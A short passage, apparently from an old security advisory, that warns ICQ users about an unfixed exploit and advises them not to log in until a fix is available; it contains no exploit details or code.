some obvious workarounds to this exploit (left to the reader). If
you value your ICQ account, do not log into it until a fix is
available. Otherwise, you can hope no one bothers to hit your UIN
There are a huge number and you might be lucky.